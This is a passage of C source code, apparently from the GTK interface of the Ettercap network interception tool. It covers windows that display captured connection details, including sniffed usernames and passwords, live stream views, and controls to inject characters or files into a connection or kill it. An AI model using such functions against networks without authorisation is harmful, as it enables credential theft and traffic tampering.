gtk_table_set_row_spacing(GTK_TABLE(table), row-1, 10); g_free(markup); row++; label = gtk_label_new("Protocol:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); switch(c->co->L4_proto) { case NL_TYPE_UDP: label = gtk_label_new("UDP"); break; case NL_TYPE_TCP: label = gtk_label_new("TCP"); break; default: label = gtk_label_new(""); break; } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); row++; label = gtk_label_new("Source port:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new((str = g_strdup_printf("%d", ntohs(c->co->L4_addr1)))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+2, row, row+1); g_free(str); label = gtk_label_new(service_search(c->co->L4_addr1, c->co->L4_proto)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+2, col+3, row, row+1); row++; label = gtk_label_new("Destination port:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new((str = g_strdup_printf("%d", ntohs(c->co->L4_addr2)))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+2, row, row+1); g_free(str); label = gtk_label_new(service_search(c->co->L4_addr2, c->co->L4_proto)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+2, col+3, row, row+1); row++; label = gtk_label_new("Transferred bytes:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new((str = g_strdup_printf("%d", c->co->xferred))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); g_free(str); /* Additional information */ if (c->co->DISSECTOR.user) { row++; label = gtk_label_new("Additional Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); gtk_table_set_row_spacing(GTK_TABLE(table), row-1, 10); g_free(markup); row++; label = gtk_label_new("Account:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(c->co->DISSECTOR.user); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+2, row, row+1); label = gtk_label_new(c->co->DISSECTOR.pass); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+2, col+3, row, row+1); if (c->co->DISSECTOR.info) { label = gtk_label_new("Additional info:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(c->co->DISSECTOR.info); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); } } /* resize table to the acutal size */ gtk_table_resize(GTK_TABLE(table), row, ncols); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_from_stock(GTK_STOCK_CLOSE); g_signal_connect_swapped(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_connection_detail_destroy), dwindow); gtk_box_pack_end(GTK_BOX(hbox), button, FALSE, FALSE, 0); gtk_widget_grab_focus(button); gtk_widget_show_all(dwindow); } static void gtkui_connection_detail_destroy(GtkWidget *widget, gpointer *data) { /* unused variable */ (void) data; /* destroy timer if still running */ if (detail_timer1) g_source_remove(detail_timer1); if (detail_timer2) g_source_remove(detail_timer2); /* destroy widget */ gtk_widget_destroy(widget); } static void gtkui_connection_data(void) { GtkTreeIter iter; GtkTreeModel *model; struct conn_tail *c = NULL; DEBUG_MSG("gtk_connection_data"); model = GTK_TREE_MODEL (ls_conns); if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { gtk_tree_model_get (model, &iter, 11, &c, -1); } else return; /* nothing is selected */ if(c == NULL || c->co == NULL) return; /* just to be safe */ /* * remove any hook on the open connection. * this is done to prevent a switch of connection * with the panel opened */ if (curr_conn) { conntrack_hook_conn_del(curr_conn, split_print_po); conntrack_hook_conn_del(curr_conn, join_print_po); /* remove the viewing flag */ curr_conn->flags &= ~CONN_VIEWING; } /* set the global variable to pass the parameter to other functions */ curr_conn = c->co; curr_conn->flags |= CONN_VIEWING; /* default is split view */ gtkui_connection_data_split(); } /* * show the content of the connection */ static void gtkui_connection_data_split(void) { GtkWidget *vbox, *scrolled, *label, *child; GtkWidget *hbox_big, *hbox_small, *button; GtkTextIter iter; char tmp[MAX_ASCII_ADDR_LEN]; char title[MAX_ASCII_ADDR_LEN+6]; static gint scroll_split = 1; DEBUG_MSG("gtk_connection_data_split"); /* if we're switching views, make sure old hook is gone */ conntrack_hook_conn_del(curr_conn, join_print_po); if(data_window) { child = gtk_bin_get_child(GTK_BIN (data_window)); gtk_container_remove(GTK_CONTAINER (data_window), child); textview3 = NULL; joinedbuf = NULL; endmark3 = NULL; } else { data_window = gtkui_page_new("Connection data", >kui_destroy_conndata, >kui_connection_data_detach); } /* don't timeout this connection */ curr_conn->flags |= CONN_VIEWING; hbox_big = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_container_add(GTK_CONTAINER(data_window), hbox_big); gtk_widget_show(hbox_big); /*** left side ***/ vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(hbox_big), vbox, TRUE, TRUE, 0); gtk_widget_show(vbox); /* title */ snprintf(title, MAX_ASCII_ADDR_LEN+6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr1, tmp), ntohs(curr_conn->L4_addr1)); label = gtk_label_new(title); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); gtk_widget_show(label); /* data */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); textview1 = gtk_text_view_new(); gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview1), GTK_WRAP_CHAR); gtk_text_view_set_editable(GTK_TEXT_VIEW (textview1), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview1), FALSE); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview1), 5); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview1), 5); gtk_container_add(GTK_CONTAINER (scrolled), textview1); gtk_widget_show(textview1); splitbuf1 = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview1)); gtk_text_buffer_create_tag (splitbuf1, "blue_fg", "foreground", "blue", NULL); gtk_text_buffer_create_tag (splitbuf1, "monospace", "family", "monospace", NULL); gtk_text_buffer_get_end_iter(splitbuf1, &iter); endmark1 = gtk_text_buffer_create_mark(splitbuf1, "end", &iter, FALSE); /* first two buttons */ hbox_small = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox_small, FALSE, FALSE, 0); gtk_widget_show(hbox_small); button = gtk_button_new_with_mnemonic("_Join Views"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_data_join), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Inject Data"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_inject), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); /*** right side ***/ vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(hbox_big), vbox, TRUE, TRUE, 0); gtk_widget_show(vbox); /* title */ snprintf(title, MAX_ASCII_ADDR_LEN+6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr2, tmp), ntohs(curr_conn->L4_addr2)); label = gtk_label_new(title); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); gtk_widget_show(label); /* data */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); textview2 = gtk_text_view_new(); gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview2), GTK_WRAP_CHAR); gtk_text_view_set_editable(GTK_TEXT_VIEW (textview2), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview2), FALSE); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview2), 5); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview2), 5); gtk_container_add(GTK_CONTAINER (scrolled), textview2); gtk_widget_show(textview2); splitbuf2 = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview2)); gtk_text_buffer_create_tag (splitbuf2, "blue_fg", "foreground", "blue", NULL); gtk_text_buffer_create_tag (splitbuf2, "monospace", "family", "monospace", NULL); gtk_text_buffer_get_end_iter(splitbuf2, &iter); endmark2 = gtk_text_buffer_create_mark(splitbuf2, "end", &iter, FALSE); /* second two buttons */ hbox_small = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox_small, FALSE, FALSE, 0); gtk_widget_show(hbox_small); button = gtk_button_new_with_mnemonic("Inject _File"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_inject_file), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Kill Connection"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_kill_curr_conn), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); gtk_widget_show(data_window); if(GTK_IS_WINDOW (data_window)) gtk_window_present(GTK_WINDOW (data_window)); else gtkui_page_present(data_window); /* after widgets are drawn, scroll to bottom */ g_timeout_add(500, gtkui_connections_scroll, &scroll_split); /* print the old data */ connbuf_print(&curr_conn->data, split_print); /* add the hook on the connection to receive data only from it */ conntrack_hook_conn_add(curr_conn, split_print_po); } /* detach connection data tab */ static void gtkui_connection_data_detach(GtkWidget *child) { data_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (data_window), "Connection data"); gtk_window_set_default_size(GTK_WINDOW (data_window), 600, 400); gtk_container_set_border_width(GTK_CONTAINER (data_window), 5); g_signal_connect(G_OBJECT(data_window), "delete_event", G_CALLBACK(gtkui_destroy_conndata), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(data_window, gtkui_connection_data_attach); gtk_container_add(GTK_CONTAINER(data_window), child); gtk_window_present(GTK_WINDOW (data_window)); } /* attach connection data tab */ static void gtkui_connection_data_attach(void) { if (curr_conn) { conntrack_hook_conn_del(curr_conn, split_print_po); conntrack_hook_conn_del(curr_conn, join_print_po); } gtk_widget_destroy(data_window); textview1 = NULL; textview2 = NULL; textview3 = NULL; data_window = NULL; gtkui_connection_data_split(); } /* close connection data tab */ static void gtkui_destroy_conndata(void) { DEBUG_MSG("gtkui_destroy_conndata"); if (curr_conn) { conntrack_hook_conn_del(curr_conn, split_print_po); conntrack_hook_conn_del(curr_conn, join_print_po); curr_conn->flags &= ~CONN_VIEWING; curr_conn = NULL; } gtk_widget_destroy(data_window); textview1 = NULL; textview2 = NULL; textview3 = NULL; data_window = NULL; } /* print connection data to one of the split or joined views */ /* int buffer - 1 for left split view, 2 for right split view, 3 for joined view */ /* char *data - string to print */ /* int color - 2 for blue text (used in joined view) */ static void gtkui_data_print(int buffer, char *data, int color) { GtkTextIter iter; GtkTextBuffer *textbuf = NULL; GtkWidget *textview = NULL; GtkTextMark *endmark = NULL; char *unicode = NULL; switch(buffer) { case 1: textbuf = splitbuf1; textview = textview1; endmark = endmark1; break; case 2: textbuf = splitbuf2; textview = textview2; endmark = endmark2; break; case 3: textbuf = joinedbuf; textview = textview3; endmark = endmark3; break; default: return; } /* make sure data is valid UTF8 */ unicode = gtkui_utf8_validate(data); /* if interface has been destroyed or unicode conversion failed */ if(!data_window || !textbuf || !textview || !endmark || !unicode) return; gtk_text_buffer_get_end_iter(textbuf, &iter); if(color == 2) gtk_text_buffer_insert_with_tags_by_name(textbuf, &iter, unicode, -1, "blue_fg", "monospace", NULL); else gtk_text_buffer_insert_with_tags_by_name(textbuf, &iter, unicode, -1, "monospace", NULL); gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview), endmark, 0, FALSE, 0, 0); } static void split_print(u_char *text, size_t len, struct ip_addr *L3_src) { int ret; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, text, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(text, len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(L3_src, &curr_conn->L3_addr1)) gtkui_data_print(1, dispbuf, 0); else gtkui_data_print(2, dispbuf, 0); } static void split_print_po(struct packet_object *po) { int ret; /* if not open don't refresh it */ if (!data_window) return; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, po->DATA.disp_data, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(po->DATA.disp_len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(&po->L3.src, &curr_conn->L3_addr1)) gtkui_data_print(1, dispbuf, 0); else gtkui_data_print(2, dispbuf, 0); } /* * show the data in a joined window */ static void gtkui_connection_data_join(void) { GtkWidget *hbox, *vbox, *label, *scrolled, *button, *child; GtkTextIter iter; #define TITLE_LEN (MAX_ASCII_ADDR_LEN * 2) + 6 char src[MAX_ASCII_ADDR_LEN]; char dst[MAX_ASCII_ADDR_LEN]; char title[TITLE_LEN]; static gint scroll_join = 2; DEBUG_MSG("gtk_connection_data_join"); /* if we're switching views, make sure old hook is gone */ conntrack_hook_conn_del(curr_conn, split_print_po); if(data_window) { child = gtk_bin_get_child(GTK_BIN (data_window)); gtk_container_remove(GTK_CONTAINER (data_window), child); textview1 = NULL; textview2 = NULL; splitbuf1 = NULL; splitbuf2 = NULL; endmark1 = NULL; endmark2 = NULL; } else { data_window = gtkui_page_new("Connection data", >kui_destroy_conndata, >kui_connection_data_detach); } /* don't timeout this connection */ curr_conn->flags |= CONN_VIEWING; vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_container_add(GTK_CONTAINER(data_window), vbox); gtk_widget_show(vbox); /* title */ snprintf(title, TITLE_LEN, "%s:%d - %s:%d", ip_addr_ntoa(&curr_conn->L3_addr1, src), ntohs(curr_conn->L4_addr1), ip_addr_ntoa(&curr_conn->L3_addr2, dst), ntohs(curr_conn->L4_addr2)); label = gtk_label_new(title); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); gtk_widget_show(label); /* data */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); textview3 = gtk_text_view_new(); gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview3), GTK_WRAP_CHAR); gtk_text_view_set_editable(GTK_TEXT_VIEW (textview3), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview3), FALSE); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview3), 5); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview3), 5); gtk_container_add(GTK_CONTAINER (scrolled), textview3); gtk_widget_show(textview3); joinedbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview3)); gtk_text_buffer_create_tag (joinedbuf, "blue_fg", "foreground", "blue", NULL); gtk_text_buffer_create_tag (joinedbuf, "monospace", "family", "monospace", NULL); gtk_text_buffer_get_end_iter(joinedbuf, &iter); endmark3 = gtk_text_buffer_create_mark(joinedbuf, "end", &iter, FALSE); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); gtk_widget_show(hbox); button = gtk_button_new_with_mnemonic("_Split View"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_data_split), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Kill Connection"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_kill_curr_conn), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); gtk_widget_show(data_window); if(GTK_IS_WINDOW (data_window)) gtk_window_present(GTK_WINDOW (data_window)); else gtkui_page_present(data_window); /* after widgets are drawn, scroll to bottom */ g_timeout_add(500, gtkui_connections_scroll, &scroll_join); /* print the old data */ connbuf_print(&curr_conn->data, join_print); /* add the hook on the connection to receive data only from it */ conntrack_hook_conn_add(curr_conn, join_print_po); } static gboolean gtkui_connections_scroll(gpointer data) { gint *type = data; if (type == NULL) return FALSE; if(*type == 1 && textview1 && endmark1 && textview2 && endmark2) { /* scroll split data views to bottom */ gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview1), endmark1, 0, FALSE, 0, 0); gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview2), endmark2, 0, FALSE, 0, 0); } else if(textview3 && endmark3) { /* scroll joined data view to bottom */ gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview3), endmark3, 0, FALSE, 0, 0); } /* only execute once, don't repeat */ return(FALSE); } static void join_print(u_char *text, size_t len, struct ip_addr *L3_src) { int ret; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, text, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(text, len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(L3_src, &curr_conn->L3_addr1)) gtkui_data_print(3, dispbuf, 1); else gtkui_data_print(3, dispbuf, 2); } static void join_print_po(struct packet_object *po) { int ret; /* if not focused don't refresh it */ if (!data_window) return; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, po->DATA.disp_data, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(po->DATA.disp_len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(&po->L3.src, &curr_conn->L3_addr1)) gtkui_data_print(3, dispbuf, 1); else gtkui_data_print(3, dispbuf, 2); } /* * erase the connection list */ static void gtkui_connection_purge(void *conn) { struct row_pairs *row, *nextrow, *list = connections; /* variable not used */ (void) conn; DEBUG_MSG("gtkui_connection_purge"); connections = NULL; for(row = list; row; row = nextrow) { nextrow = row->next; SAFE_FREE(row); } conntrack_purge(); gtk_list_store_clear(GTK_LIST_STORE (ls_conns)); } /* * kill the selected connection connection */ static void gtkui_connection_kill(void *conn) { GtkTreeIter iter; GtkTreeModel *model; struct conn_tail *c = NULL; /* variable not used */ (void) conn; DEBUG_MSG("gtkui_connection_kill"); model = GTK_TREE_MODEL (ls_conns); if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { gtk_tree_model_get (model, &iter, 11, &c, -1); } else return; /* nothing is selected */ if (!c || !c->co) return; /* kill it */ switch (user_kill(c->co)) { case E_SUCCESS: /* set the status */ c->co->status = CONN_KILLED; gtkui_message("The connection was killed !!"); break; case -E_FATAL: gtkui_message("Cannot kill UDP connections !!"); break; } } /* * call the specialized funtion as this is a callback * without the parameter */ static void gtkui_connection_kill_curr_conn(void) { DEBUG_MSG("gtkui_connection_kill_curr_conn"); /* kill it */ switch (user_kill(curr_conn)) { case E_SUCCESS: /* set the status */ curr_conn->status = CONN_KILLED; gtkui_message("The connection was killed !!"); break; case -E_FATAL: gtkui_message("Cannot kill UDP connections !!"); break; } } /* * inject interactively with the user */ static void gtkui_connection_inject(void) { GtkWidget *dialog, *text, *label, *vbox, *frame, *content_area; GtkWidget *button1, *button2, *hbox; GtkTextBuffer *buf; GtkTextIter start, end; char tmp[MAX_ASCII_ADDR_LEN]; gint response = 0; DEBUG_MSG("gtk_connection_inject"); if(curr_conn == NULL) return; dialog = gtk_dialog_new_with_buttons("Character Injection", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(content_area), vbox, FALSE, FALSE, 0); label = gtk_label_new ("Packet destination:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button1 = gtk_radio_button_new_with_label(NULL, ip_addr_ntoa(&curr_conn->L3_addr2, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button1, FALSE, FALSE, 0); button2 = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (button1), ip_addr_ntoa(&curr_conn->L3_addr1, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button2, FALSE, FALSE, 0); label = gtk_label_new ("Characters to be injected:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); frame = gtk_frame_new(NULL); gtk_frame_set_shadow_type(GTK_FRAME (frame), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX (vbox), frame, TRUE, TRUE, 5); text = gtk_text_view_new(); gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (text), GTK_WRAP_CHAR); gtk_container_add(GTK_CONTAINER (frame), text); gtk_widget_show_all(dialog); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); SAFE_REALLOC(injectbuf, 501 * sizeof(char)); memset(injectbuf, 0, 501); buf = gtk_text_view_get_buffer(GTK_TEXT_VIEW (text)); /* initialize iters for get text */ gtk_text_buffer_get_start_iter(buf, &start); gtk_text_buffer_get_start_iter(buf, &end); /* advance end iter to end of text, 500 char max */ gtk_text_iter_forward_chars(&end, 500); strncpy(injectbuf, gtk_text_buffer_get_text(buf, &start, &end, FALSE), 501); if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) gtkui_inject_user(1); else if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) gtkui_inject_user(2); } gtk_widget_destroy(dialog); } static void gtkui_inject_user(int side) { size_t len; /* escape the sequnces in the buffer */ len = strescape(injectbuf, injectbuf, strlen(injectbuf)+1); /* check where to inject */ if (side == 1 || side == 2) { user_inject(injectbuf, len, curr_conn, side); } } /* * inject form a file */ static void gtkui_connection_inject_file(void) { /* START */ GtkWidget *dialog, *label, *vbox, *hbox, *content_area; GtkWidget *button1, *button2, *button, *entry; char tmp[MAX_ASCII_ADDR_LEN]; const char *filename = NULL; gint response = 0; DEBUG_MSG("gtk_connection_inject_file"); if(curr_conn == NULL) return; dialog = gtk_dialog_new_with_buttons("Character Injection", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); gtk_window_set_default_size(GTK_WINDOW (dialog), 400, 150); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(content_area), vbox, FALSE, FALSE, 0); label = gtk_label_new ("Packet destination:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); gtk_box_pack_start (GTK_BOX (vbox), hbox, FALSE, FALSE, 0); button1 = gtk_radio_button_new_with_label(NULL, ip_addr_ntoa(&curr_conn->L3_addr2, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (button1), ip_addr_ntoa(&curr_conn->L3_addr1, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button2, FALSE, FALSE, 0); label = gtk_label_new ("File to inject:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); gtk_box_pack_start (GTK_BOX (vbox), hbox, FALSE, FALSE, 0); entry = gtk_entry_new(); gtk_box_pack_start(GTK_BOX (hbox), entry, TRUE, TRUE, 0); button = gtk_button_new_with_label("..."); gtk_box_pack_start(GTK_BOX (hbox), button, FALSE, FALSE, 0); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_filename_browse), entry); gtk_widget_show_all(dialog); response = gtk_dialog_run(GTK_DIALOG (dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_entry_get_text(GTK_ENTRY (entry)); if(filename && strlen(filename) > 0) { if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) gtkui_inject_file(filename, 1); else if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) gtkui_inject_file(filename, 2); } } gtk_widget_destroy(dialog); } /* * map the file into memory and pass the buffer to the inject function */ static void gtkui_inject_file(const char *filename, int side) { int fd; void *buf; size_t size, ret; DEBUG_MSG("inject_file %s", filename); /* open the file */ if ((fd = open(filename, O_RDONLY | O_BINARY)) == -1) { ui_error("Can't load the file"); return; } /* calculate the size of the file */ size = lseek(fd, 0, SEEK_END); /* load the file in memory */ SAFE_CALLOC(buf, size, sizeof(char)); /* rewind the pointer */ lseek(fd, 0, SEEK_SET); ret = read(fd, buf, 